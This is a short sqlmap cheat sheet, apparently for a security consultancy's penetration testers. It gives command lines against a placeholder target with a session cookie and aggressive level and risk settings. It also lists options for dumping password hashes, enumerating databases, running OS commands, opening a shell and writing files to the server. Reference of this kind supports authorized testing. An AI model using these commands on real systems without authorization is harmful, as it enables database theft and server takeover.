# SQLmap Cheatsheet and Examples


Tell SQLmap to target the http://target.server.com URL using the "-u" flag:

> *sqlmap* ***-u 'http://target.server.com'***

Tell SQLmap the requests are POST requests by specifying the "--data" flag:

> *sqlmap -u 'http://target.server.com'* ***--data='param1=blah&param2=blah'***

Tell SQLmap the vulnerable parameter is only accessible in an authenticated session by specifying your cookies using the "--cookie" flag:

> *sqlmap -u 'http://target.server.com' --data='param1=blah&param2=blah'*
> ***--cookie='JSESSIONID=09h76qoWC559GH1K7DSQHx'***

Tell SQLmap to drop all Set-Cookie requests from the target web server using the "--drop-set-cookie" flag:

> *sqlmap -u 'http://target.server.com' --data='param1=blah&param2=blah'*
> *--cookie='JSESSIONID=09h76qoWC559GH1K7DSQHx'* ***--drop-set-cookie***

Tell SQLmap to perform in-depth and risky attacks using the "--level" and "--risk" flags:

> *sqlmap -u 'http://target.server.com' --data='param1=blah&param2=blah'*
> *--cookie='JSESSIONID=09h76qoWC559GH1K7DSQHx'* ***--level=5 --risk=3***

Tell SQLmap specifically which POST or GET parameter to target using the "-p" flag:

> *sqlmap -u 'http://target.server.com' --data='param1=blah&param2=blah'*
> *--cookie='JSESSIONID=09h76qoWC559GH1K7DSQHx'* ***-p param1***

Tell SQLmap to choose a random User-Agent request header using the "--random-agent" flag:

> *sqlmap -u 'http://target.server.com' --data='param1=blah&param2=blah'*
> *--cookie='JSESSIONID=09h76qoWC559GH1K7DSQHx'* ***--random-agent***

Tell SQLmap to specifically target a certain database service using the "--dbms" flag:

> *sqlmap -u 'http://target.server.com' --data='param1=blah&param2=blah'*
> *--cookie='JSESSIONID=09h76qoWC559GH1K7DSQHx'* ***--dbms Oracle***

Here are some useful options for your pillaging pleasure:

> ***--all*** *Enumerate everything inside the target database.*

> ***--hostname*** *Print the target database's hostname.*

> ***--passwords*** *Find and exfiltrate all users and their password hashes or digests.*

> ***--dbs*** *Enumerate all databases accessible via the target webserver.*

> ***--comments*** *Enumerate all found comments inside the database.*

> ***--sql-shell*** *Return a SQL prompt for interaction.*

> ***--os-cmd*** *Attempt to execute a system command.*

> ***--os-shell*** *Attempt to return a command prompt or terminal for interaction.*

> ***--reg-read*** *Read the specified Windows registry key value.*

> ***--file-write*** *Specify a local file to be written to the target server.*

> ***--file-dest*** *Specify the remote destination to write a file to.*

This page is purely for reference by the Fatal Security consultants, Fatal Security assumes no responsibility for damages caused by SQLmap.

-John